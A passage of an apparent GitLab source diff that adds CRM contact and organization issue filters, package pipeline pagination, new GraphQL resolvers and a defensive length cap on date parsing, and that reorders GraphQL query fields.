diff --git a/app/finders/issuable_finder.rb b/app/finders/issuable_finder.rb
index 7b0cd17a761..3e436f30971 100644
--- a/app/finders/issuable_finder.rb
+++ b/app/finders/issuable_finder.rb
@@ -35,6 +35,8 @@
# updated_before: datetime
# attempt_group_search_optimizations: boolean
# attempt_project_search_optimizations: boolean
+# crm_contact_id: integer
+# crm_organization_id: integer
#
class IssuableFinder
prepend FinderWithCrossProjectAccess
@@ -59,6 +61,8 @@ class IssuableFinder
assignee_username
author_id
author_username
+ crm_contact_id
+ crm_organization_id
label_name
milestone_title
release_tag
@@ -138,7 +142,9 @@ class IssuableFinder
items = by_milestone(items)
items = by_release(items)
items = by_label(items)
- by_my_reaction_emoji(items)
+ items = by_my_reaction_emoji(items)
+ items = by_crm_contact(items)
+ by_crm_organization(items)
end
def should_filter_negated_args?
@@ -463,6 +469,14 @@ class IssuableFinder
params[:non_archived].present? ? items.non_archived : items
end
+ def by_crm_contact(items)
+ Issuables::CrmContactFilter.new(params: original_params).filter(items)
+ end
+
+ def by_crm_organization(items)
+ Issuables::CrmOrganizationFilter.new(params: original_params).filter(items)
+ end
+
def or_filters_enabled?
strong_memoize(:or_filters_enabled) do
Feature.enabled?(:or_issuable_queries, feature_flag_scope, default_enabled: :yaml)
diff --git a/app/finders/issuables/crm_contact_filter.rb b/app/finders/issuables/crm_contact_filter.rb
new file mode 100644
index 00000000000..bea5f7d2bfa
--- /dev/null
+++ b/app/finders/issuables/crm_contact_filter.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module Issuables
+ class CrmContactFilter < BaseFilter
+ def filter(issuables)
+ by_crm_contact(issuables)
+ end
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def by_crm_contact(issuables)
+ return issuables if params[:crm_contact_id].blank?
+
+ condition = CustomerRelations::IssueContact
+ .where(contact_id: params[:crm_contact_id])
+ .where(Arel.sql("issue_id = issues.id"))
+ issuables.where(condition.arel.exists)
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+ end
+end
diff --git a/app/finders/issuables/crm_organization_filter.rb b/app/finders/issuables/crm_organization_filter.rb
new file mode 100644
index 00000000000..f746049c405
--- /dev/null
+++ b/app/finders/issuables/crm_organization_filter.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module Issuables
+ class CrmOrganizationFilter < BaseFilter
+ def filter(issuables)
+ by_crm_organization(issuables)
+ end
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def by_crm_organization(issuables)
+ return issuables if params[:crm_organization_id].blank?
+
+ condition = CustomerRelations::IssueContact
+ .joins(:contact)
+ .where(contact: { organization_id: params[:crm_organization_id] })
+ .where(Arel.sql("issue_id = issues.id"))
+ issuables.where(condition.arel.exists)
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+ end
+end
diff --git a/app/finders/merge_requests_finder.rb b/app/finders/merge_requests_finder.rb
index 13696add965..ba709d3bdfc 100644
--- a/app/finders/merge_requests_finder.rb
+++ b/app/finders/merge_requests_finder.rb
@@ -174,8 +174,8 @@ class MergeRequestsFinder < IssuableFinder
def by_deployments(items)
env = params[:environment]
- before = params[:deployed_before]
- after = params[:deployed_after]
+ before = parse_datetime(params[:deployed_before])
+ after = parse_datetime(params[:deployed_after])
id = params[:deployment_id]
return items if !env && !before && !after && !id
@@ -218,6 +218,13 @@ class MergeRequestsFinder < IssuableFinder
items.none
end
end
+
+ def parse_datetime(input)
+ # To work around http://www.ruby-lang.org/en/news/2021/11/15/date-parsing-method-regexp-dos-cve-2021-41817/
+ DateTime.parse(input.byteslice(0, 128)) if input
+ rescue Date::Error
+ nil
+ end
end
MergeRequestsFinder.prepend_mod_with('MergeRequestsFinder')
diff --git a/app/finders/packages/build_infos_finder.rb b/app/finders/packages/build_infos_finder.rb
new file mode 100644
index 00000000000..92ad5888eb9
--- /dev/null
+++ b/app/finders/packages/build_infos_finder.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+module Packages
+ class BuildInfosFinder
+ MAX_PAGE_SIZE = 100
+
+ def initialize(package, params)
+ @package = package
+ @params = params
+ end
+
+ def execute
+ build_infos = @package.build_infos.without_empty_pipelines
+ build_infos = apply_order(build_infos)
+ build_infos = apply_limit(build_infos)
+ apply_cursor(build_infos)
+ end
+
+ private
+
+ def apply_order(build_infos)
+ order_direction = :desc
+ order_direction = :asc if last
+
+ build_infos.order_by_pipeline_id(order_direction)
+ end
+
+ def apply_limit(build_infos)
+ limit = [first, last, max_page_size, MAX_PAGE_SIZE].compact.min
+ limit += 1 if support_next_page
+ build_infos.limit(limit)
+ end
+
+ def apply_cursor(build_infos)
+ if before
+ build_infos.with_pipeline_id_greater_than(before)
+ elsif after
+ build_infos.with_pipeline_id_less_than(after)
+ else
+ build_infos
+ end
+ end
+
+ def first
+ @params[:first]
+ end
+
+ def last
+ @params[:last]
+ end
+
+ def max_page_size
+ @params[:max_page_size]
+ end
+
+ def before
+ @params[:before]
+ end
+
+ def after
+ @params[:after]
+ end
+
+ def support_next_page
+ @params[:support_next_page]
+ end
+ end
+end
diff --git a/app/finders/packages/group_packages_finder.rb b/app/finders/packages/group_packages_finder.rb
index 2a62dd5c0e5..23b0e71d836 100644
--- a/app/finders/packages/group_packages_finder.rb
+++ b/app/finders/packages/group_packages_finder.rb
@@ -40,10 +40,14 @@ module Packages
# access to packages is ruled by:
# - project is public or the current user has access to it with at least the reporter level
# - the repository feature is available to the current_user
- ::Project
- .in_namespace(groups)
- .public_or_visible_to_user(current_user, Gitlab::Access::REPORTER)
- .with_feature_available_for_user(:repository, current_user)
+ if current_user.is_a?(DeployToken)
+ current_user.accessible_projects
+ else
+ ::Project
+ .in_namespace(groups)
+ .public_or_visible_to_user(current_user, Gitlab::Access::REPORTER)
+ .with_feature_available_for_user(:repository, current_user)
+ end
end
def groups
diff --git a/app/finders/personal_projects_finder.rb b/app/finders/personal_projects_finder.rb
index e7094d73905..a01465a64d2 100644
--- a/app/finders/personal_projects_finder.rb
+++ b/app/finders/personal_projects_finder.rb
@@ -28,6 +28,7 @@ class PersonalProjectsFinder < UnionFinder
private
def all_projects(current_user)
+ return [@user.personal_projects] if current_user && current_user.can_read_all_resources?
return [projects_with_min_access_level(current_user)] if current_user && min_access_level?
projects = []
diff --git a/app/finders/user_group_notification_settings_finder.rb b/app/finders/user_group_notification_settings_finder.rb
index 4ad9d1d7bf4..c2af581dd14 100644
--- a/app/finders/user_group_notification_settings_finder.rb
+++ b/app/finders/user_group_notification_settings_finder.rb
@@ -8,7 +8,12 @@ class UserGroupNotificationSettingsFinder
def execute
# rubocop: disable CodeReuse/ActiveRecord
- groups_with_ancestors = Gitlab::ObjectHierarchy.new(Group.where(id: groups.select(:id))).base_and_ancestors
+ selected_groups = Group.where(id: groups.select(:id))
+ groups_with_ancestors = if Feature.enabled?(:linear_user_group_notification_settings_finder_ancestors_scopes, user, default_enabled: :yaml)
+ selected_groups.self_and_ancestors
+ else
+ Gitlab::ObjectHierarchy.new(selected_groups).base_and_ancestors
+ end
# rubocop: enable CodeReuse/ActiveRecord
@loaded_groups_with_ancestors = groups_with_ancestors.index_by(&:id)
diff --git a/app/graphql/graphql_triggers.rb b/app/graphql/graphql_triggers.rb
index 671c7c2cd25..290cd4d7146 100644
--- a/app/graphql/graphql_triggers.rb
+++ b/app/graphql/graphql_triggers.rb
@@ -4,4 +4,8 @@ module GraphqlTriggers
def self.issuable_assignees_updated(issuable)
GitlabSchema.subscriptions.trigger('issuableAssigneesUpdated', { issuable_id: issuable.to_gid }, issuable)
end
+
+ def self.issue_crm_contacts_updated(issue)
+ GitlabSchema.subscriptions.trigger('issueCrmContactsUpdated', { issuable_id: issue.to_gid }, issue)
+ end
end
diff --git a/app/graphql/mutations/issues/set_crm_contacts.rb b/app/graphql/mutations/issues/set_crm_contacts.rb
index 7a9e6237eaa..4e49a45d52a 100644
--- a/app/graphql/mutations/issues/set_crm_contacts.rb
+++ b/app/graphql/mutations/issues/set_crm_contacts.rb
@@ -5,7 +5,7 @@ module Mutations
class SetCrmContacts < Base
graphql_name 'IssueSetCrmContacts'
- argument :crm_contact_ids,
+ argument :contact_ids,
[::Types::GlobalIDType[::CustomerRelations::Contact]],
required: true,
description: 'Customer relations contact IDs to set. Replaces existing contacts by default.'
@@ -15,27 +15,27 @@ module Mutations
required: false,
description: 'Changes the operation mode. Defaults to REPLACE.'
- def resolve(project_path:, iid:, crm_contact_ids:, operation_mode: Types::MutationOperationModeEnum.enum[:replace])
+ def resolve(project_path:, iid:, contact_ids:, operation_mode: Types::MutationOperationModeEnum.enum[:replace])
issue = authorized_find!(project_path: project_path, iid: iid)
project = issue.project
raise Gitlab::Graphql::Errors::ResourceNotAvailable, 'Feature disabled' unless Feature.enabled?(:customer_relations, project.group, default_enabled: :yaml)
- crm_contact_ids = crm_contact_ids.compact.map do |crm_contact_id|
- raise Gitlab::Graphql::Errors::ArgumentError, "Contact #{crm_contact_id} is invalid." unless crm_contact_id.respond_to?(:model_id)
+ contact_ids = contact_ids.compact.map do |contact_id|
+ raise Gitlab::Graphql::Errors::ArgumentError, "Contact #{contact_id} is invalid." unless contact_id.respond_to?(:model_id)
- crm_contact_id.model_id.to_i
+ contact_id.model_id.to_i
end
attribute_name = case operation_mode
when Types::MutationOperationModeEnum.enum[:append]
- :add_crm_contact_ids
+ :add_ids
when Types::MutationOperationModeEnum.enum[:remove]
- :remove_crm_contact_ids
+ :remove_ids
else
- :crm_contact_ids
+ :replace_ids
end
- response = ::Issues::SetCrmContactsService.new(project: project, current_user: current_user, params: { attribute_name => crm_contact_ids })
+ response = ::Issues::SetCrmContactsService.new(project: project, current_user: current_user, params: { attribute_name => contact_ids })
.execute(issue)
{
diff --git a/app/graphql/mutations/jira_import/start.rb b/app/graphql/mutations/jira_import/start.rb
index 143a9558e38..4929d6f394a 100644
--- a/app/graphql/mutations/jira_import/start.rb
+++ b/app/graphql/mutations/jira_import/start.rb
@@ -14,15 +14,15 @@ module Mutations
null: true,
description: 'Jira import data after mutation.'
- argument :project_path, GraphQL::Types::ID,
- required: true,
- description: 'Project to import the Jira project into.'
argument :jira_project_key, GraphQL::Types::String,
required: true,
description: 'Project key of the importer Jira project.'
argument :jira_project_name, GraphQL::Types::String,
required: false,
description: 'Project name of the importer Jira project.'
+ argument :project_path, GraphQL::Types::ID,
+ required: true,
+ description: 'Project to import the Jira project into.'
argument :users_mapping,
[Types::JiraUsersMappingInputType],
required: false,
diff --git a/app/graphql/mutations/merge_requests/accept.rb b/app/graphql/mutations/merge_requests/accept.rb
index d16b2327f2d..7ce850901af 100644
--- a/app/graphql/mutations/merge_requests/accept.rb
+++ b/app/graphql/mutations/merge_requests/accept.rb
@@ -26,12 +26,12 @@ module Mutations
argument :commit_message, ::GraphQL::Types::String,
required: false,
description: 'Custom merge commit message.'
- argument :squash_commit_message, ::GraphQL::Types::String,
- required: false,
- description: 'Custom squash commit message (if squash is true).'
argument :sha, ::GraphQL::Types::String,
required: true,
description: 'HEAD SHA at the time when this merge was requested.'
+ argument :squash_commit_message, ::GraphQL::Types::String,
+ required: false,
+ description: 'Custom squash commit message (if squash is true).'
argument :should_remove_source_branch, ::GraphQL::Types::Boolean,
required: false,
diff --git a/app/graphql/mutations/user_callouts/create.rb b/app/graphql/mutations/user_callouts/create.rb
index ff6e5cd28dd..1be99ea0ecd 100644
--- a/app/graphql/mutations/user_callouts/create.rb
+++ b/app/graphql/mutations/user_callouts/create.rb
@@ -15,7 +15,7 @@ module Mutations
description: 'User callout dismissed.'
def resolve(feature_name:)
- callout = Users::DismissUserCalloutService.new(
+ callout = Users::DismissCalloutService.new(
container: nil, current_user: current_user, params: { feature_name: feature_name }
).execute
errors = errors_on_object(callout)
diff --git a/app/graphql/queries/container_registry/get_container_repositories.query.graphql b/app/graphql/queries/container_registry/get_container_repositories.query.graphql
index df0b590acac..40e2934a038 100644
--- a/app/graphql/queries/container_registry/get_container_repositories.query.graphql
+++ b/app/graphql/queries/container_registry/get_container_repositories.query.graphql
@@ -10,6 +10,7 @@ query getProjectContainerRepositories(
) {
project(fullPath: $fullPath) @skip(if: $isGroupPage) {
__typename
+ id
containerRepositoriesCount
containerRepositories(
name: $name
@@ -43,6 +44,7 @@ query getProjectContainerRepositories(
}
group(fullPath: $fullPath) @include(if: $isGroupPage) {
__typename
+ id
containerRepositoriesCount
containerRepositories(
name: $name
diff --git a/app/graphql/queries/design_management/design_permissions.query.graphql b/app/graphql/queries/design_management/design_permissions.query.graphql
index 55dfa35129c..a81afd47625 100644
--- a/app/graphql/queries/design_management/design_permissions.query.graphql
+++ b/app/graphql/queries/design_management/design_permissions.query.graphql
@@ -4,6 +4,7 @@ query permissions($fullPath: ID!, $iid: String!) {
id
issue(iid: $iid) {
__typename
+ id
userPermissions {
__typename
createDesign
diff --git a/app/graphql/queries/design_management/get_design_list.query.graphql b/app/graphql/queries/design_management/get_design_list.query.graphql
index 01503a9572f..f0caa7c5b4c 100644
--- a/app/graphql/queries/design_management/get_design_list.query.graphql
+++ b/app/graphql/queries/design_management/get_design_list.query.graphql
@@ -4,6 +4,7 @@ query getDesignList($fullPath: ID!, $iid: String!, $atVersion: ID) {
id
issue(iid: $iid) {
__typename
+ id
designCollection {
__typename
copyState
diff --git a/app/graphql/queries/epic/epic_children.query.graphql b/app/graphql/queries/epic/epic_children.query.graphql
deleted file mode 100644
index be82813dddb..00000000000
--- a/app/graphql/queries/epic/epic_children.query.graphql
+++ /dev/null
@@ -1,132 +0,0 @@
-fragment PageInfo on PageInfo {
- hasNextPage
- hasPreviousPage
- startCursor
- endCursor
-}
-
-fragment RelatedTreeBaseEpic on Epic {
- id
- iid
- title
- webPath
- relativePosition
- userPermissions {
- __typename
- adminEpic
- createEpic
- }
- descendantWeightSum {
- closedIssues
- openedIssues
- }
- descendantCounts {
- __typename
- openedEpics
- closedEpics
- openedIssues
- closedIssues
- }
- healthStatus {
- __typename
- issuesAtRisk
- issuesOnTrack
- issuesNeedingAttention
- }
-}
-
-fragment EpicNode on Epic {
- ...RelatedTreeBaseEpic
- state
- reference(full: true)
- relationPath
- createdAt
- closedAt
- confidential
- hasChildren
- hasIssues
- group {
- __typename
- fullPath
- }
-}
-
-query childItems(
- $fullPath: ID!
- $iid: ID
- $pageSize: Int = 100
- $epicEndCursor: String = ""
- $issueEndCursor: String = ""
-) {
- group(fullPath: $fullPath) {
- __typename
- id
- path
- fullPath
- epic(iid: $iid) {
- __typename
- ...RelatedTreeBaseEpic
- children(first: $pageSize, after: $epicEndCursor) {
- __typename
- edges {
- __typename
- node {
- __typename
- ...EpicNode
- }
- }
- pageInfo {
- __typename
- ...PageInfo
- }
- }
- issues(first: $pageSize, after: $issueEndCursor) {
- __typename
- edges {
- __typename
- node {
- __typename
- iid
- epicIssueId
- title
- blocked
- closedAt
- state
- createdAt
- confidential
- dueDate
- weight
- webPath
- reference(full: true)
- relationPath
- relativePosition
- assignees {
- __typename
- edges {
- __typename
- node {
- __typename
- webUrl
- name
- username
- avatarUrl
- }
- }
- }
- milestone {
- __typename
- title
- startDate
- dueDate
- }
- healthStatus
- }
- }
- pageInfo {
- __typename
- ...PageInfo
- }
- }
- }
- }
-}
diff --git a/app/graphql/queries/epic/epic_details.query.graphql b/app/graphql/queries/epic/epic_details.query.graphql
index 406d630b180..eb4757a845a 100644
--- a/app/graphql/queries/epic/epic_details.query.graphql
+++ b/app/graphql/queries/epic/epic_details.query.graphql
@@ -1,14 +1,17 @@
query epicDetails($fullPath: ID!, $iid: ID!) {
group(fullPath: $fullPath) {
__typename
+ id
epic(iid: $iid) {
__typename
+ id
participants {
__typename
edges {
__typename
node {
__typename
+ id
name
avatarUrl
webUrl
diff --git a/app/graphql/queries/pipelines/get_pipeline_details.query.graphql b/app/graphql/queries/pipelines/get_pipeline_details.query.graphql
index 4e4caa1e27c..dd5c9e07488 100644
--- a/app/graphql/queries/pipelines/get_pipeline_details.query.graphql
+++ b/app/graphql/queries/pipelines/get_pipeline_details.query.graphql
@@ -5,16 +5,19 @@ fragment LinkedPipelineData on Pipeline {
path
status: detailedStatus {
__typename
+ id
group
label
icon
}
sourceJob {
__typename
+ id
name
}
project {
__typename
+ id
name
fullPath
}
@@ -23,6 +26,7 @@ fragment LinkedPipelineData on Pipeline {
query getPipelineDetails($projectPath: ID!, $iid: ID!) {
project(fullPath: $projectPath) {
__typename
+ id
pipeline(iid: $iid) {
__typename
id
@@ -45,11 +49,14 @@ query getPipelineDetails($projectPath: ID!, $iid: ID!) {
__typename
nodes {
__typename
+ id
name
status: detailedStatus {
__typename
+ id
action {
__typename
+ id
icon
path
title
@@ -59,8 +66,10 @@ query getPipelineDetails($projectPath: ID!, $iid: ID!) {
__typename
nodes {
__typename
+ id
status: detailedStatus {
__typename
+ id
label
group
icon
@@ -71,17 +80,20 @@ query getPipelineDetails($projectPath: ID!, $iid: ID!) {
__typename
nodes {
__typename
+ id
name
scheduledAt
needs {
__typename
nodes {
__typename
+ id
name
}
}
status: detailedStatus {
__typename
+ id
icon
tooltip
hasDetails
@@ -89,6 +101,7 @@ query getPipelineDetails($projectPath: ID!, $iid: ID!) {
group
action {
__typename
+ id
buttonTitle
icon
path
diff --git a/app/graphql/queries/releases/all_releases.query.graphql b/app/graphql/queries/releases/all_releases.query.graphql
index ab8cbcb8aa3..150f59832f3 100644
--- a/app/graphql/queries/releases/all_releases.query.graphql
+++ b/app/graphql/queries/releases/all_releases.query.graphql
@@ -11,6 +11,7 @@ query allReleases(
) {
project(fullPath: $fullPath) {
__typename
+ id
releases(first: $first, last: $last, before: $before, after: $after, sort: $sort) {
__typename
nodes {
@@ -50,6 +51,7 @@ query allReleases(
__typename
nodes {
__typename
+ id
filepath
collectedAt
sha
@@ -67,12 +69,14 @@ query allReleases(
}
commit {
__typename
+ id
sha
webUrl
title
}
author {
__typename
+ id
webUrl
avatarUrl
username
diff --git a/app/graphql/queries/repository/path_last_commit.query.graphql b/app/graphql/queries/repository/path_last_commit.query.graphql
index b5c5f653429..bcb07ae3182 100644
--- a/app/graphql/queries/repository/path_last_commit.query.graphql
+++ b/app/graphql/queries/repository/path_last_commit.query.graphql
@@ -1,13 +1,14 @@
query pathLastCommit($projectPath: ID!, $path: String, $ref: String!) {
project(fullPath: $projectPath) {
- id
__typename
+ id
repository {
__typename
tree(path: $path, ref: $ref) {
__typename
lastCommit {
__typename
+ id
sha
title
titleHtml
@@ -19,6 +20,7 @@ query pathLastCommit($projectPath: ID!, $path: String, $ref: String!) {
authorGravatar
author {
__typename
+ id
name
avatarUrl
webPath
@@ -30,8 +32,10 @@ query pathLastCommit($projectPath: ID!, $path: String, $ref: String!) {
__typename
node {
__typename
+ id
detailedStatus {
__typename
+ id
detailsPath
icon
tooltip
diff --git a/app/graphql/queries/snippet/project_permissions.query.graphql b/app/graphql/queries/snippet/project_permissions.query.graphql
index 0c38e4f8a07..e0de79f4449 100644
--- a/app/graphql/queries/snippet/project_permissions.query.graphql
+++ b/app/graphql/queries/snippet/project_permissions.query.graphql
@@ -1,6 +1,7 @@
query CanCreateProjectSnippet($fullPath: ID!) {
project(fullPath: $fullPath) {
__typename
+ id
userPermissions {
__typename
createSnippet
diff --git a/app/graphql/queries/snippet/snippet.query.graphql b/app/graphql/queries/snippet/snippet.query.graphql
index ebfc135c51c..24b268ec853 100644
--- a/app/graphql/queries/snippet/snippet.query.graphql
+++ b/app/graphql/queries/snippet/snippet.query.graphql
@@ -49,6 +49,7 @@ query GetSnippetQuery($ids: [SnippetID!]) {
}
project {
__typename
+ id
fullPath
webUrl
}
diff --git a/app/graphql/queries/snippet/user_permissions.query.graphql b/app/graphql/queries/snippet/user_permissions.query.graphql
index a4914189807..4d131c48feb 100644
--- a/app/graphql/queries/snippet/user_permissions.query.graphql
+++ b/app/graphql/queries/snippet/user_permissions.query.graphql
@@ -1,6 +1,7 @@
query CanCreatePersonalSnippet {
currentUser {
__typename
+ id
userPermissions {
__typename
createSnippet
diff --git a/app/graphql/resolvers/base_issues_resolver.rb b/app/graphql/resolvers/base_issues_resolver.rb
index 54ebb697cb2..dca93444907 100644
--- a/app/graphql/resolvers/base_issues_resolver.rb
+++ b/app/graphql/resolvers/base_issues_resolver.rb
@@ -4,13 +4,13 @@ module Resolvers
class BaseIssuesResolver < BaseResolver
prepend IssueResolverArguments
- argument :state, Types::IssuableStateEnum,
- required: false,
- description: 'Current state of this issue.'
argument :sort, Types::IssueSortEnum,
description: 'Sort issues by this criteria.',
required: false,
default_value: :created_desc
+ argument :state, Types::IssuableStateEnum,
+ required: false,
+ description: 'Current state of this issue.'
type Types::IssueType.connection_type, null: true
diff --git a/app/graphql/resolvers/ci/jobs_resolver.rb b/app/graphql/resolvers/ci/jobs_resolver.rb
index 5ae9e721cc8..df138a15538 100644
--- a/app/graphql/resolvers/ci/jobs_resolver.rb
+++ b/app/graphql/resolvers/ci/jobs_resolver.rb
@@ -29,7 +29,7 @@ module Resolvers
job_types: security_report_types
).execute
else
- pipeline.statuses
+ pipeline.statuses_order_id_desc
end
end
end
diff --git a/app/graphql/resolvers/ci/runner_status_resolver.rb b/app/graphql/resolvers/ci/runner_status_resolver.rb
new file mode 100644
index 00000000000..d916a8a13f0
--- /dev/null
+++ b/app/graphql/resolvers/ci/runner_status_resolver.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module Resolvers
+ module Ci
+ # NOTE: This class was introduced to allow modifying the meaning of certain values in RunnerStatusEnum
+ # while preserving backward compatibility. It can be removed in 15.0 once the API has stabilized.
+ class RunnerStatusResolver < BaseResolver
+ type Types::Ci::RunnerStatusEnum, null: false
+
+ alias_method :runner, :object
+
+ argument :legacy_mode,
+ type: GraphQL::Types::String,
+ default_value: '14.5',
+ required: false,
+ description: 'Compatibility mode. A null value turns off compatibility mode.',
+ deprecated: { reason: 'Will be removed in 15.0. From that release onward, the field will behave as if legacyMode is null', milestone: '14.6' }
+
+ def resolve(legacy_mode:, **args)
+ runner.status(legacy_mode)
+ end
+ end
+ end
+end
diff --git a/app/graphql/resolvers/ci/runners_resolver.rb b/app/graphql/resolvers/ci/runners_resolver.rb
index 07105701daa..9848b5a503f 100644
--- a/app/graphql/resolvers/ci/runners_resolver.rb
+++ b/app/graphql/resolvers/ci/runners_resolver.rb
@@ -7,6 +7,10 @@ module Resolvers
type Types::Ci::RunnerType.connection_type, null: true
+ argument :active, ::GraphQL::Types::Boolean,
+ required: false,
+ description: 'Filter runners by active (true) or paused (false) status.'
+
argument :status, ::Types::Ci::RunnerStatusEnum,
required: false,
description: 'Filter runners by status.'
@@ -38,6 +42,7 @@ module Resolvers
def runners_finder_params(params)
{
+ active: params[:active],
status_status: params[:status]&.to_s,
type_type: params[:type],
tag_name: params[:tag_list],
diff --git a/app/graphql/resolvers/clusters/agent_activity_events_resolver.rb b/app/graphql/resolvers/clusters/agent_activity_events_resolver.rb
new file mode 100644
index 00000000000..b6fec3d3772
--- /dev/null
+++ b/app/graphql/resolvers/clusters/agent_activity_events_resolver.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Resolvers
+ module Clusters
+ class AgentActivityEventsResolver < BaseResolver
+ type Types::Clusters::AgentActivityEventType, null: true
+
+ alias_method :agent, :object
+
+ delegate :project, to: :agent
+
+ def resolve(**args)
+ return ::Clusters::Agents::ActivityEvent.none unless can_view_activity_events?
+
+ agent.activity_events
+ end
+
+ private
+
+ def can_view_activity_events?
+ current_user.can?(:admin_cluster, project)
+ end
+ end
+ end
+end
diff --git a/app/graphql/resolvers/clusters/agents_resolver.rb b/app/graphql/resolvers/clusters/agents_resolver.rb
index 9b8cea52e3b..5ad66ed7cdd 100644
--- a/app/graphql/resolvers/clusters/agents_resolver.rb
+++ b/app/graphql/resolvers/clusters/agents_resolver.rb
@@ -28,7 +28,10 @@ module Resolvers
private
def preloads
- { tokens: :last_used_agent_tokens }
+ {
+ activity_events: { activity_events: [:user, agent_token: :agent] },
+ tokens: :last_used_agent_tokens
+ }
end
end
end
diff --git a/app/graphql/resolvers/container_repository_tags_resolver.rb b/app/graphql/resolvers/container_repository_tags_resolver.rb
new file mode 100644
index 00000000000..55a83dd49da
--- /dev/null
+++ b/app/graphql/resolvers/container_repository_tags_resolver.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+module Resolvers
+ class ContainerRepositoryTagsResolver < BaseResolver
+ type Types::ContainerRepositoryTagType.connection_type, null: true
+
+ argument :sort, Types::ContainerRepositoryTagsSortEnum,
+ description: 'Sort tags by these criteria.',
+ required: false,
+ default_value: nil
+
+ argument :name, GraphQL::Types::String,
+ description: 'Search by tag name.',
+ required: false,
+ default_value: nil
+
+ def resolve(sort:, **filters)
+ result = tags
+
+ if filters[:name]
+ result = tags.filter do |tag|
+ tag.name.include?(filters[:name])
+ end
+ end
+
+ result = sort_tags(result, sort) if sort
+ result
+ end
+
+ private
+
+ def sort_tags(to_be_sorted, sort)
+ raise StandardError unless Types::ContainerRepositoryTagsSortEnum.enum.include?(sort)
+
+ sort_value, _, direction = sort.to_s.rpartition('_')
+
+ sorted = to_be_sorted.sort_by(&sort_value.to_sym)
+ return sorted.reverse if direction == 'desc'
+
+ sorted
+ end
+
+ def tags
+ object.tags
+ rescue Faraday::Error
+ raise ::Gitlab::Graphql::Errors::ResourceNotAvailable, "Can't connect to the Container Registry. If this error persists, please review the troubleshooting documentation."
+ end
+ end
+end
diff --git a/app/graphql/resolvers/design_management/designs_resolver.rb b/app/graphql/resolvers/design_management/designs_resolver.rb
index dec778fac80..a62ef6d76e5 100644
--- a/app/graphql/resolvers/design_management/designs_resolver.rb
+++ b/app/graphql/resolvers/design_management/designs_resolver.rb
@@ -8,16 +8,16 @@ module Resolvers
type ::Types::DesignManagement::DesignType.connection_type, null: true
- argument :ids, [DesignID],
+ argument :at_version, VersionID,
required: false,
- description: 'Filters designs by their ID.'
+ description: 'Filters designs to only those that existed at the version. ' \
+ 'If argument is omitted or nil then all designs will reflect the latest version'
argument :filenames, [GraphQL::Types::String],
required: false,
description: 'Filters designs by their filename.'
- argument :at_version, VersionID,
+ argument :ids, [DesignID],
required: false,
- description: 'Filters designs to only those that existed at the version. ' \
- 'If argument is omitted or nil then all designs will reflect the latest version'
+ description: 'Filters designs by their ID.'
def self.single
::Resolvers::DesignManagement::DesignResolver
diff --git a/app/graphql/resolvers/design_management/version/design_at_version_resolver.rb b/app/graphql/resolvers/design_management/version/design_at_version_resolver.rb
index d879c1434dc..76e365c40b1 100644
--- a/app/graphql/resolvers/design_management/version/design_at_version_resolver.rb
+++ b/app/graphql/resolvers/design_management/version/design_at_version_resolver.rb
@@ -16,16 +16,16 @@ module Resolvers
authorize :read_design
- argument :id, DesignAtVersionID,
- required: false,
- as: :design_at_version_id,
- description: 'ID of the DesignAtVersion.'
argument :design_id, DesignID,
required: false,
description: 'ID of a specific design.'
argument :filename, GraphQL::Types::String,
required: false,
description: 'Filename of a specific design.'
+ argument :id, DesignAtVersionID,
+ required: false,
+ as: :design_at_version_id,
+ description: 'ID of the DesignAtVersion.'
def self.single
self
diff --git a/app/graphql/resolvers/kas/agent_configurations_resolver.rb b/app/graphql/resolvers/kas/agent_configurations_resolver.rb
index 238dae0bf12..a1b1d3bfe4c 100644
--- a/app/graphql/resolvers/kas/agent_configurations_resolver.rb
+++ b/app/graphql/resolvers/kas/agent_configurations_resolver.rb
@@ -14,7 +14,7 @@ module Resolvers
return [] unless can_read_agent_configuration?
kas_client.list_agent_config_files(project: project)
- rescue GRPC::BadStatus => e
+ rescue GRPC::BadStatus, Gitlab::Kas::Client::ConfigurationError => e
raise Gitlab::Graphql::Errors::ResourceNotAvailable, e.class.name
end
diff --git a/app/graphql/resolvers/package_pipelines_resolver.rb b/app/graphql/resolvers/package_pipelines_resolver.rb
new file mode 100644
index 00000000000..59a1cd173a4
--- /dev/null
+++ b/app/graphql/resolvers/package_pipelines_resolver.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+module Resolvers
+ class PackagePipelinesResolver < BaseResolver
+ include Gitlab::Graphql::Authorize::AuthorizeResource
+
+ type Types::Ci::PipelineType.connection_type, null: true
+ extension Gitlab::Graphql::Extensions::ExternallyPaginatedArrayExtension
+
+ authorizes_object!
+ authorize :read_pipeline
+
+ alias_method :package, :object
+
+ def resolve(first: nil, last: nil, after: nil, before: nil, lookahead:)
+ finder = ::Packages::BuildInfosFinder.new(
+ package,
+ first: first,
+ last: last,
+ after: decode_cursor(after),
+ before: decode_cursor(before),
+ max_page_size: context.schema.default_max_page_size,
+ support_next_page: lookahead.selects?(:page_info)
+ )
+
+ build_infos = finder.execute
+
+ # this .pluck_pipeline_ids can load max 101 pipelines ids
+ ::Ci::Pipeline.id_in(build_infos.pluck_pipeline_ids)
+ end
+
+ # we manage the pagination manually, so opt out of the connection field extension
+ def self.field_options
+ super.merge(
+ connection: false,
+ extras: [:lookahead]
+ )
+ end
+
+ private
+
+ def decode_cursor(encoded)
+ return unless encoded
+
+ decoded = Gitlab::Json.parse(context.schema.cursor_encoder.decode(encoded, nonce: true))
+ id_from_cursor(decoded)
+ rescue JSON::ParserError
+ raise Gitlab::Graphql::Errors::ArgumentError, "Please provide a valid cursor"
+ end
+
+ def id_from_cursor(cursor)
+ cursor&.fetch('id')
+ rescue KeyError
+ raise Gitlab::Graphql::Errors::ArgumentError, "Please provide a valid cursor"
+ end
+ end
+end
diff --git a/app/graphql/resolvers/project_jobs_resolver.rb b/app/graphql/resolvers/project_jobs_resolver.rb
index 75068014242..8a2693ee46b 100644
--- a/app/graphql/resolvers/project_jobs_resolver.rb
+++ b/app/graphql/resolvers/project_jobs_resolver.rb
@@ -33,6 +33,7 @@ module Resolvers
def preloads
{
